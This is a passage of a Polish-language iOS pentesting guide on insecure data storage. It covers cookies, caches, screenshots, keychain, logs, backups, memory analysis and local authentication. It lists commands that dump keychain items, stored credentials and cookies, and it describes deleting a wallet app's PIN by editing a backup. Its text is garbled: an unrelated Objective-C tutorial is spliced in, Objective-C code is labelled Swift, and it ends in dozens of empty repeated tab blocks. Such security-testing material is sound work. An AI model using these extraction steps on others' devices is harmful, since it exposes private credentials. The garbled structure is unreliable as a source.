|
||
|
||
Aby przejrzeć plik z ciasteczkami, możesz skorzystać z [**tego skryptu pythonowego**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) lub użyć polecenia **`ios cookies get`** w narzędziu objection.\
|
||
**Możesz również użyć narzędzia objection do** konwersji tych plików na format JSON i przejrzenia danych.
|
||
```bash
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||
[
|
||
{
|
||
"domain": "highaltitudehacks.com",
|
||
"expiresDate": "2051-09-15 07:46:43 +0000",
|
||
"isHTTPOnly": "false",
|
||
"isSecure": "false",
|
||
"name": "username",
|
||
"path": "/",
|
||
"value": "admin123",
|
||
"version": "0"
|
||
}
|
||
]
|
||
```
|
||
### Pamięć podręczna
|
||
|
||
Domyślnie NSURLSession przechowuje dane, takie jak **żądania i odpowiedzi HTTP w bazie danych Cache.db**. Ta baza danych może zawierać **wrażliwe dane**, jeśli tokeny, nazwy użytkowników lub jakiekolwiek inne wrażliwe informacje zostały zapisane w pamięci podręcznej. Aby znaleźć zapisane informacje, otwórz katalog danych aplikacji (`/var/mobile/Containers/Data/Application/<UUID>`) i przejdź do `/Library/Caches/<Bundle Identifier>`. **Pamięć podręczna WebKit jest również przechowywana w pliku Cache.db**. **Objection** może otworzyć i interakcjonować z bazą danych za pomocą polecenia `sqlite connect Cache.db`, ponieważ jest to **zwykła baza danych SQLite**.
|
||
|
||
Zaleca się **wyłączenie pamięci podręcznej tych danych**, ponieważ mogą one zawierać wrażliwe informacje w żądaniu lub odpowiedzi. Poniżej przedstawiono różne sposoby osiągnięcia tego:
|
||
|
||
1. Zaleca się usunięcie zapisanych odpowiedzi z pamięci podręcznej po wylogowaniu. Można to zrobić za pomocą dostarczonej przez Apple metody o nazwie [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Można wywołać tę metodę w następujący sposób:
|
||
|
||
`URLCache.shared.removeAllCachedResponses()`
|
||
|
||
Ta metoda usunie wszystkie zapisane żądania i odpowiedzi z pliku Cache.db.
|
||
2. Jeśli nie potrzebujesz korzystać z plików cookie, zaleca się użycie właściwości [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfiguracji URLSession, która wyłączy zapisywanie plików cookie i pamięci podręcznej.
|
||
|
||
[Dokumentacja Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||
|
||
`Obiekt konfiguracji sesji tymczasowej jest podobny do domyślnej konfiguracji sesji (patrz default), z wyjątkiem tego, że odpowiadający mu obiekt sesji nie przechowuje pamięci podręcznej, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w pamięci RAM. Jedynym przypadkiem, w którym sesja tymczasowa zapisuje dane na dysku, jest wtedy, gdy polecisz jej zapisać zawartość adresu URL do pliku.`
|
||
3. Pamięć podręczna może również zostać wyłączona poprzez ustawienie polityki pamięci podręcznej na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Spowoduje to wyłączenie przechowywania pamięci podręcznej w dowolny sposób, zarówno w pamięci, jak i na dysku.
|
||
|
||
### Zrzuty ekranu
|
||
|
||
Zawsze, gdy naciśniesz przycisk Home, iOS **robi zrzut ekranu** aktualnego ekranu, aby umożliwić płynne przejście do aplikacji. Jednak jeśli na aktualnym ekranie znajdują się **wrażliwe dane**, zostaną one **zapisane** w **obrazie** (który **przetrwa** **ponowne uruchomienie**). Są to zrzuty ekranu, do których można również uzyskać dostęp, podwójnie klikając ekran główny, aby przełączyć się między aplikacjami.
|
||
|
||
Chyba że iPhone jest odblokowany, **atakujący** musi mieć **dostęp** do **odblokowanego urządzenia**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w sandboxie aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mają dostępu do systemu plików od wersji iOS 7.0).
|
||
|
||
Jednym ze sposobów zapobieżenia temu niepożądanemu zachowaniu jest umieszczenie pustego ekranu lub usunięcie wrażliwych danych przed zrobieniem zrzutu ekranu za pomocą funkcji `ApplicationDidEnterBackground()`.
|
||
|
||
Poniżej przedstawiono przykładową metodę naprawczą, która ustawia domyślny zrzut ekranu.
|
||
|
||
Swift:
|
||
```swift
|
||
private var backgroundImage: UIImageView?
|
||
|
||
func applicationDidEnterBackground(_ application: UIApplication) {
|
||
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
|
||
myBanner.frame = UIScreen.main.bounds
|
||
backgroundImage = myBanner
|
||
window?.addSubview(myBanner)
|
||
}
|
||
|
||
func applicationWillEnterForeground(_ application: UIApplication) {
|
||
backgroundImage?.removeFromSuperview()
|
||
}
|
||
```
|
||
Objective-C:
|
||
|
||
Objective-C jest językiem programowania używanym głównie do tworzenia aplikacji na platformę iOS. Jest to rozszerzenie języka C, które wprowadza obiektowość i dynamiczne wiązanie. W celu przeprowadzenia testów penetracyjnych na aplikacjach iOS, ważne jest zrozumienie podstawowych konstrukcji języka Objective-C.
|
||
|
||
### Klasa
|
||
|
||
Klasa w Objective-C jest podstawową jednostką programową, która definiuje obiekt. Składa się z deklaracji interfejsu i implementacji. Interfejs klasy zawiera deklaracje metod i właściwości, podczas gdy implementacja zawiera kod źródłowy tych metod.
|
||
|
||
```objective-c
|
||
@interface MojaKlasa : NSObject
|
||
|
||
@property (nonatomic, strong) NSString *nazwa;
|
||
|
||
- (void)metoda;
|
||
|
||
@end
|
||
|
||
@implementation MojaKlasa
|
||
|
||
- (void)metoda {
|
||
NSLog(@"Wywołano metodę");
|
||
}
|
||
|
||
@end
|
||
```
|
||
|
||
### Metoda
|
||
|
||
Metoda w Objective-C jest funkcją, która jest wywoływana na obiekcie danej klasy. Może przyjmować argumenty i zwracać wartość. Metody są deklarowane w interfejsie klasy i implementowane w jej implementacji.
|
||
|
||
```objective-c
|
||
- (void)metoda {
|
||
// Kod metody
|
||
}
|
||
```
|
||
|
||
### Właściwość
|
||
|
||
Właściwość w Objective-C jest mechanizmem dostępu do danych obiektu. Może mieć określony typ i atrybuty, takie jak `readonly` lub `readwrite`. Właściwości są deklarowane w interfejsie klasy i automatycznie generują getterów i setterów.
|
||
|
||
```objective-c
|
||
@property (nonatomic, strong) NSString *nazwa;
|
||
```
|
||
|
||
### Wiązanie dynamiczne
|
||
|
||
Wiązanie dynamiczne w Objective-C odnosi się do procesu wywoływania metod w czasie wykonania. W odróżnieniu od wiązania statycznego, które odbywa się podczas kompilacji, wiązanie dynamiczne pozwala na elastyczne wywoływanie metod w zależności od typu obiektu.
|
||
|
||
```objective-c
|
||
MojaKlasa *obiekt = [[MojaKlasa alloc] init];
|
||
[obiekt metoda];
|
||
```
|
||
|
||
### Selektor
|
||
|
||
Selektor w Objective-C jest identyfikatorem metody. Może być używany do dynamicznego wywoływania metod na obiekcie. Selektor jest reprezentowany przez typ `SEL`.
|
||
|
||
```objective-c
|
||
SEL metodaSelector = @selector(metoda);
|
||
[obiekt performSelector:metodaSelector];
|
||
```
|
||
|
||
### Kategoria
|
||
|
||
Kategoria w Objective-C pozwala na dodawanie metod do istniejącej klasy bez konieczności modyfikowania jej kodu źródłowego. Kategoria jest używana do rozszerzania funkcjonalności istniejących klas.
|
||
|
||
```objective-c
|
||
@interface MojaKlasa (Kategoria)
|
||
|
||
- (void)nowaMetoda;
|
||
|
||
@end
|
||
|
||
@implementation MojaKlasa (Kategoria)
|
||
|
||
- (void)nowaMetoda {
|
||
NSLog(@"Nowa metoda");
|
||
}
|
||
|
||
@end
|
||
```
|
||
|
||
### Protokół
|
||
|
||
Protokół w Objective-C definiuje zestaw wymaganych i opcjonalnych metod, które klasa może zaimplementować. Protokół jest używany do zapewnienia spójności interfejsu między klasami.
|
||
|
||
```objective-c
|
||
@protocol MójProtokół
|
||
|
||
- (void)wymaganaMetoda;
|
||
|
||
@optional
|
||
- (void)opcjonalnaMetoda;
|
||
|
||
@end
|
||
```
|
||
|
||
### ARC (Automatyczne Zarządzanie Pamięcią)
|
||
|
||
ARC w Objective-C jest mechanizmem automatycznego zarządzania pamięcią. Eliminuje potrzebę ręcznego zarządzania pamięcią poprzez automatyczne dodawanie i usuwanie instrukcji `retain`, `release` i `autorelease`.
|
||
|
||
```objective-c
|
||
MojaKlasa *obiekt = [[MojaKlasa alloc] init];
|
||
// ARC automatycznie zarządza pamięcią
|
||
```
|
||
|
||
### Referencje słabe
|
||
|
||
Referencje słabe w Objective-C są używane do unikania cyklicznych odwołań między obiektami. Obiekty, na które wskazują referencje słabe, mogą zostać automatycznie zwolnione, jeśli nie są już referencjonowane przez inne obiekty.
|
||
|
||
```objective-c
|
||
@property (nonatomic, weak) MojaKlasa *referencjaSlaba;
|
||
```
|
||
|
||
### Referencje silne
|
||
|
||
Referencje silne w Objective-C są używane do utrzymania obiektów w pamięci. Obiekty, na które wskazują referencje silne, nie zostaną automatycznie zwolnione, dopóki nie zostaną one ustawione na `nil`.
|
||
|
||
```objective-c
|
||
@property (nonatomic, strong) MojaKlasa *referencjaSilna;
|
||
```
|
||
|
||
### Bloki
|
||
|
||
Bloki w Objective-C są obiektami, które mogą przechowywać kod. Mogą być przekazywane jako argumenty do innych metod i wywoływane w dowolnym miejscu w kodzie.
|
||
|
||
```objective-c
|
||
void (^blok)(void) = ^{
|
||
NSLog(@"Wywołano blok");
|
||
};
|
||
|
||
blok();
|
||
```
|
||
|
||
### Wyjątki
|
||
|
||
Wyjątki w Objective-C są używane do obsługi błędów i wyjątkowych sytuacji. Wyjątki mogą być zgłaszane i przechwytywane za pomocą instrukcji `@try`, `@catch` i `@finally`.
|
||
|
||
```objective-c
|
||
@try {
|
||
// Kod, który może zgłosić wyjątek
|
||
}
|
||
@catch (NSException *exception) {
|
||
// Obsługa zgłoszonego wyjątku
|
||
}
|
||
@finally {
|
||
// Kod, który zostanie wykonany niezależnie od zgłoszonego wyjątku
|
||
}
|
||
```
|
||
```
|
||
@property (UIImageView *)backgroundImage;
|
||
|
||
- (void)applicationDidEnterBackground:(UIApplication *)application {
|
||
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
|
||
self.backgroundImage = myBanner;
|
||
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||
[self.window addSubview:myBanner];
|
||
}
|
||
|
||
- (void)applicationWillEnterForeground:(UIApplication *)application {
|
||
[self.backgroundImage removeFromSuperview];
|
||
}
|
||
```
|
||
To ustawia obraz tła na `overlayImage.png` za każdym razem, gdy aplikacja jest w tle. Zapobiega to wyciekom poufnych danych, ponieważ `overlayImage.png` zawsze zastępuje bieżący widok.
|
||
|
||
### Keychain
|
||
|
||
Do dostępu i zarządzania iOS keychain, dostępne są narzędzia takie jak [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), które są odpowiednie dla urządzeń z jailbreakiem. Dodatkowo, [**Objection**](https://github.com/sensepost/objection) udostępnia polecenie `ios keychain dump` do podobnych celów.
|
||
|
||
#### **Przechowywanie poświadczeń**
|
||
|
||
Klasa **NSURLCredential** jest idealna do przechowywania poufnych informacji bezpośrednio w keychain, omijając konieczność użycia NSUserDefaults lub innych opakowań. Aby przechowywać poświadczenia po zalogowaniu, używany jest następujący kod Swift:
|
||
```swift
|
||
NSURLCredential *credential;
|
||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||
```
|
||
Aby wyodrębnić te przechowywane poświadczenia, używane jest polecenie Objection `ios nsurlcredentialstorage dump`.
|
||
|
||
## **Niestandardowe klawiatury i pamięć podręczna klawiatury**
|
||
|
||
Od wersji iOS 8.0 użytkownicy mogą instalować rozszerzenia niestandardowych klawiatur, które można zarządzać w **Ustawienia > Ogólne > Klawiatura > Klawiatury**. Chociaż te klawiatury oferują rozszerzoną funkcjonalność, stanowią ryzyko rejestrowania naciśniętych klawiszy i przesyłania danych do zewnętrznych serwerów, choć użytkownicy są informowani o klawiaturach wymagających dostępu do sieci. Aplikacje mogą i powinny ograniczać korzystanie z niestandardowych klawiatur do wprowadzania informacji poufnych.
|
||
|
||
**Zalecenia dotyczące bezpieczeństwa:**
|
||
- Zaleca się wyłączenie klawiatur stron trzecich dla zwiększenia bezpieczeństwa.
|
||
- Należy być świadomym funkcji autocorrect i auto-sugestii domyślnej klawiatury iOS, która może przechowywać poufne informacje w plikach pamięci podręcznej znajdujących się w `Library/Keyboard/{locale}-dynamic-text.dat` lub `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Te pliki pamięci podręcznej powinny być regularnie sprawdzane pod kątem poufnych danych. Zaleca się resetowanie słownika klawiatury za pomocą **Ustawienia > Ogólne > Resetuj > Resetuj słownik klawiatury** w celu wyczyszczenia danych w pamięci podręcznej.
|
||
- Przechwycenie ruchu sieciowego może ujawnić, czy niestandardowa klawiatura przesyła zdalnie naciśnięte klawisze.
|
||
|
||
### **Zapobieganie buforowaniu pól tekstowych**
|
||
|
||
Protokół [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) oferuje właściwości do zarządzania autokorektą i wprowadzaniem tekstu zabezpieczonego, co jest niezbędne do zapobiegania buforowaniu poufnych informacji. Na przykład, wyłączenie autokorekty i włączenie wprowadzania tekstu zabezpieczonego można osiągnąć za pomocą:
|
||
```objectivec
|
||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||
textObject.secureTextEntry = YES;
|
||
```
|
||
Dodatkowo, programiści powinni upewnić się, że pola tekstowe, zwłaszcza te służące do wprowadzania wrażliwych informacji, takich jak hasła i PIN-y, wyłączają buforowanie, ustawiając `autocorrectionType` na `UITextAutocorrectionTypeNo` i `secureTextEntry` na `YES`.
|
||
```objectivec
|
||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||
```
|
||
## **Dzienniki**
|
||
|
||
Debugowanie kodu często wymaga użycia **dzienników**. Istnieje ryzyko związane z tym, że **dzienniki mogą zawierać poufne informacje**. Wcześniej, w systemie iOS 6 i wcześniejszych wersjach, dzienniki były dostępne dla wszystkich aplikacji, co stanowiło ryzyko wycieku poufnych danych. **Obecnie aplikacje mają ograniczony dostęp tylko do swoich dzienników**.
|
||
|
||
Mimo tych ograniczeń, **atakujący mający fizyczny dostęp** do odblokowanego urządzenia wciąż może wykorzystać to, podłączając urządzenie do komputera i **czytając dzienniki**. Ważne jest zauważenie, że dzienniki pozostają na dysku nawet po odinstalowaniu aplikacji.
|
||
|
||
Aby zmniejszyć ryzyko, zaleca się **dokładne interakcje z aplikacją**, eksplorowanie wszystkich jej funkcji i wprowadzanych danych, aby upewnić się, że nie są nieumyślnie rejestrowane poufne informacje.
|
||
|
||
Podczas przeglądania kodu źródłowego aplikacji w poszukiwaniu potencjalnych wycieków, należy szukać zarówno **predefiniowanych** jak i **niestandardowych instrukcji logowania** za pomocą słów kluczowych takich jak `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` dla wbudowanych funkcji oraz wszelkich wzmianek o `Logging` lub `Logfile` dla niestandardowych implementacji.
|
||
|
||
### **Monitorowanie dzienników systemowych**
|
||
|
||
Aplikacje rejestrują różne informacje, które mogą być poufne. Aby monitorować te dzienniki, można używać narzędzi i poleceń takich jak:
|
||
```bash
|
||
idevice_id --list # To find the device ID
|
||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||
```
|
||
są przydatne. Dodatkowo, **Xcode** umożliwia zbieranie logów konsoli:
|
||
|
||
1. Otwórz Xcode.
|
||
2. Podłącz urządzenie iOS.
|
||
3. Przejdź do **Okno** -> **Urządzenia i symulatory**.
|
||
4. Wybierz swoje urządzenie.
|
||
5. Wywołaj problem, który badasz.
|
||
6. Użyj przycisku **Otwórz konsolę**, aby wyświetlić logi w nowym oknie.
|
||
|
||
Aby uzyskać bardziej zaawansowane logowanie, połączenie z powłoką urządzenia i użycie **socat** może umożliwić monitorowanie logów w czasie rzeczywistym:
|
||
```bash
|
||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||
```
|
||
Następnie wykonaj polecenia, aby obserwować aktywność dziennika, co może być nieocenione przy diagnozowaniu problemów lub identyfikowaniu potencjalnych wycieków danych w dziennikach.
|
||
|
||
|
||
***
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||
Otrzymaj dostęp już dziś:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## Kopie zapasowe
|
||
|
||
Funkcje **automatycznego tworzenia kopii zapasowych** są zintegrowane w systemie iOS i ułatwiają tworzenie kopii danych urządzenia za pomocą iTunes (do macOS Catalina), Finder (od macOS Catalina) lub iCloud. Kopie zapasowe obejmują prawie wszystkie dane urządzenia, z wyjątkiem bardzo wrażliwych elementów, takich jak szczegóły Apple Pay i konfiguracje Touch ID.
|
||
|
||
### Ryzyko bezpieczeństwa
|
||
|
||
Włączenie **zainstalowanych aplikacji i ich danych** do kopii zapasowych stwarza ryzyko potencjalnego **wycieku danych** i zagrożenia, że **modyfikacje kopii zapasowych mogą zmienić funkcjonalność aplikacji**. Zaleca się **nie przechowywać wrażliwych informacji w postaci tekstowej** w katalogu aplikacji lub jego podkatalogach, aby zminimalizować te ryzyka.
|
||
|
||
### Wyłączanie plików z kopii zapasowych
|
||
|
||
Pliki w `Documents/` i `Library/Application Support/` są domyślnie kopiowane do kopii zapasowych. Deweloperzy mogą wykluczyć określone pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z `NSURLIsExcludedFromBackupKey`. Ta praktyka jest istotna dla ochrony wrażliwych danych przed uwzględnieniem ich w kopii zapasowej.
|
||
|
||
### Testowanie podatności
|
||
|
||
Aby ocenić bezpieczeństwo kopii zapasowej aplikacji, rozpocznij od **utworzenia kopii zapasowej** za pomocą Finder, a następnie zlokalizuj ją, korzystając z instrukcji w [oficjalnej dokumentacji Apple](https://support.apple.com/en-us/HT204215). Analizuj kopię zapasową pod kątem wrażliwych danych lub konfiguracji, które mogą zostać zmienione, aby wpłynąć na zachowanie aplikacji.
|
||
|
||
Wrażliwe informacje można wyszukać za pomocą narzędzi wiersza poleceń lub aplikacji takich jak [iMazing](https://imazing.com). W przypadku zaszyfrowanych kopii zapasowych można potwierdzić obecność szyfrowania, sprawdzając klucz "IsEncrypted" w pliku "Manifest.plist" w głównym katalogu kopii zapasowej.
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||
<plist version="1.0">
|
||
...
|
||
<key>Date</key>
|
||
<date>2021-03-12T17:43:33Z</date>
|
||
<key>IsEncrypted</key>
|
||
<true/>
|
||
...
|
||
</plist>
|
||
```
|
||
Aby radzić sobie z zaszyfrowanymi kopiami zapasowymi, mogą być przydatne skrypty Python dostępne w repozytorium [GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), takie jak **backup_tool.py** i **backup_passwd.py**, choć mogą wymagać dostosowania do najnowszych wersji iTunes/Finder. Inną opcją dostępu do plików w zabezpieczonych hasłem kopii zapasowych jest narzędzie [**iOSbackup**](https://pypi.org/project/iOSbackup/).
|
||
|
||
### Modyfikowanie zachowania aplikacji
|
||
|
||
Przykład zmiany zachowania aplikacji poprzez modyfikacje kopii zapasowej jest pokazany w aplikacji portfela bitcoin [Bither](https://github.com/bither/bither-ios), gdzie PIN blokady interfejsu jest przechowywany w pliku `net.bither.plist` pod kluczem **pin_code**. Usunięcie tego klucza z pliku plist i przywrócenie kopii zapasowej usuwa wymaganie PIN, umożliwiając nielimitowany dostęp.
|
||
|
||
## Podsumowanie dotyczące testowania pamięci wrażliwej na dane
|
||
|
||
Podczas pracy z wrażliwymi informacjami przechowywanymi w pamięci aplikacji, ważne jest ograniczenie czasu ekspozycji tych danych. Istnieją dwie podstawowe metody badania zawartości pamięci: **tworzenie zrzutu pamięci** i **analiza pamięci w czasie rzeczywistym**. Oba metody mają swoje wyzwania, w tym potencjalne pominięcie istotnych danych podczas procesu zrzutu lub analizy.
|
||
|
||
## **Pobieranie i analiza zrzutu pamięci**
|
||
|
||
Dla urządzeń z jailbreakiem i bez jailbreaka, narzędzia takie jak [objection](https://github.com/sensepost/objection) i [Fridump](https://github.com/Nightbringer21/fridump) umożliwiają zrzucanie pamięci procesu aplikacji. Po zrzuceniu, do analizy tych danych wymagane są różne narzędzia, w zależności od rodzaju poszukiwanych informacji.
|
||
|
||
Aby wyodrębnić ciągi znaków z zrzutu pamięci, można użyć poleceń takich jak `strings` lub `rabin2 -zz`:
|
||
```bash
|
||
# Extracting strings using strings command
|
||
$ strings memory > strings.txt
|
||
|
||
# Extracting strings using rabin2
|
||
$ rabin2 -ZZ memory > strings.txt
|
||
```
|
||
Dla bardziej szczegółowej analizy, w tym wyszukiwania konkretnych typów danych lub wzorców, **radare2** oferuje rozległe możliwości wyszukiwania:
|
||
```bash
|
||
$ r2 <name_of_your_dump_file>
|
||
[0x00000000]> /?
|
||
...
|
||
```
|
||
## **Analiza pamięci w czasie rzeczywistym**
|
||
|
||
**r2frida** dostarcza potężnej alternatywy do badania pamięci aplikacji w czasie rzeczywistym, bez konieczności tworzenia zrzutu pamięci. Narzędzie to umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci działającej aplikacji:
|
||
```bash
|
||
$ r2 frida://usb//<name_of_your_app>
|
||
[0x00000000]> /\ <search_command>
|
||
```
|
||
## Słaba kryptografia
|
||
|
||
### Niewłaściwe procesy zarządzania kluczami
|
||
|
||
Niektórzy programiści zapisują wrażliwe dane w lokalnym magazynie i szyfrują je kluczem wpisanym/wykrywalnym w kodzie. Nie powinno się tego robić, ponieważ odwrócenie procesu może umożliwić atakującym wydobycie poufnych informacji.
|
||
|
||
### Użycie niebezpiecznych i/lub przestarzałych algorytmów
|
||
|
||
Programiści nie powinni używać **przestarzałych algorytmów** do przeprowadzania **sprawdzeń** autoryzacji, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli do przechowywania haseł używane są **skróty**, powinny być używane skróty odporne na ataki brute-force z solą.
|
||
|
||
### Sprawdzenie
|
||
|
||
Główne sprawdzenia, które należy przeprowadzić, to znalezienie **wpisanych w kodzie** haseł/tajemnic lub sprawdzenie, czy są one **przewidywalne**, oraz sprawdzenie, czy kod używa jakiegoś rodzaju **słabych** **algorytmów kryptograficznych**.
|
||
|
||
Warto wiedzieć, że można **monitorować** niektóre **biblioteki kryptograficzne** automatycznie za pomocą narzędzia **objection** przy użyciu:
|
||
```swift
|
||
ios monitor crypt
|
||
```
|
||
Dla **więcej informacji** na temat interfejsów API i bibliotek kryptograficznych iOS odwiedź [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||
|
||
## Lokalna autoryzacja
|
||
|
||
**Lokalna autoryzacja** odgrywa kluczową rolę, zwłaszcza jeśli chodzi o zabezpieczanie dostępu do zdalnego punktu końcowego za pomocą metod kryptograficznych. Istotą jest, że bez odpowiedniej implementacji mechanizmy lokalnej autoryzacji mogą zostać obejścia.
|
||
|
||
**[Framework Local Authentication](https://developer.apple.com/documentation/localauthentication)** firmy Apple oraz **[keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)** zapewniają programistom solidne interfejsy API do ułatwiania dialogów autoryzacyjnych użytkownika i bezpiecznego obsługiwania poufnych danych. Bezpieczne schowki zabezpieczają odciski palców dla Touch ID, podczas gdy Face ID polega na rozpoznawaniu twarzy bez narażania danych biometrycznych.
|
||
|
||
Aby zintegrować Touch ID/Face ID, programiści mają do wyboru dwie opcje API:
|
||
- **`LocalAuthentication.framework`** dla autoryzacji użytkownika na wysokim poziomie bez dostępu do danych biometrycznych.
|
||
- **`Security.framework`** dla dostępu do usług schowka na niższym poziomie, zabezpieczającego poufne dane za pomocą autoryzacji biometrycznej. Różne [oparte na kodzie źródłowym nakładki](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) ułatwiają dostęp do schowka.
|
||
|
||
{% hint style="danger" %}
|
||
Jednak zarówno `LocalAuthentication.framework`, jak i `Security.framework` mają podatności, ponieważ zwracają przede wszystkim wartości logiczne bez przesyłania danych do procesów autoryzacyjnych, co czyni je podatnymi na obejście (patrz [Don't touch me that way, autorstwa Davida Lindnera i innych](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||
{% endhint %}
|
||
|
||
### Implementacja lokalnej autoryzacji
|
||
|
||
Aby poprosić użytkowników o autoryzację, programiści powinni używać metody **`evaluatePolicy`** w klasie **`LAContext`**, wybierając spośród:
|
||
- **`deviceOwnerAuthentication`**: Wymaga użycia Touch ID lub kodu dostępu do urządzenia, nie powiedzie się, jeśli żadne z nich nie jest włączone.
|
||
- **`deviceOwnerAuthenticationWithBiometrics`**: Wyłącznie wymaga użycia Touch ID.
|
||
|
||
Pomyślna autoryzacja jest wskazywana przez wartość logiczną zwracaną przez **`evaluatePolicy`**, co może wskazywać na potencjalną lukę w zabezpieczeniach.
|
||
|
||
### Lokalna autoryzacja za pomocą schowka
|
||
|
||
Implementacja **lokalnej autoryzacji** w aplikacjach iOS polega na użyciu **API schowka** do bezpiecznego przechowywania poufnych danych, takich jak tokeny autoryzacyjne. Ten proces zapewnia, że dane mogą być dostępne tylko przez użytkownika, korzystając z kodu dostępu do urządzenia lub autoryzacji biometrycznej, takiej jak Touch ID.
|
||
|
||
Schowek oferuje możliwość ustawienia elementów z atrybutem `SecAccessControl`, który ogranicza dostęp do elementu do momentu, gdy użytkownik pomyślnie autoryzuje się za pomocą Touch ID lub kodu dostępu do urządzenia. Ta funkcja jest kluczowa dla poprawy bezpieczeństwa.
|
||
|
||
Poniżej znajdują się przykłady kodu w języku Swift i Objective-C, które pokazują, jak zapisać i odczytać ciąg znaków do/z schowka, wykorzystując te funkcje zabezpieczeń. Przykłady pokazują specyficzne konfiguracje kontroli dostępu, które wymagają autoryzacji Touch ID i zapewniają, że dane są dostępne tylko na urządzeniu, na którym zostały skonfigurowane, pod warunkiem, że skonfigurowano kod dostępu do urządzenia.
|
||
|
||
{% tabs %}
|
||
{% tab title="Swift" %}
|
||
```swift
|
||
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
|
||
|
||
// 1. create AccessControl object that will represent authentication settings
|
||
|
||
var error: Unmanaged<CFError>?
|
||
|
||
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
|
||
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
|
||
SecAccessControlCreateFlags.biometryCurrentSet,
|
||
&error) else {
|
||
// failed to create AccessControl object
|
||
|
||
return
|
||
}
|
||
|
||
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
|
||
|
||
var query: [String: Any] = [:]
|
||
|
||
query[kSecClass as String] = kSecClassGenericPassword
|
||
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
|
||
query[kSecAttrAccount as String] = "OWASP Account" as CFString
|
||
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
|
||
query[kSecAttrAccessControl as String] = accessControl
|
||
|
||
// 3. save item
|
||
|
||
let status = SecItemAdd(query as CFDictionary, nil)
|
||
|
||
if status == noErr {
|
||
// successfully saved
|
||
} else {
|
||
// error while saving
|
||
}
|
||
```
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}Objective-C{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
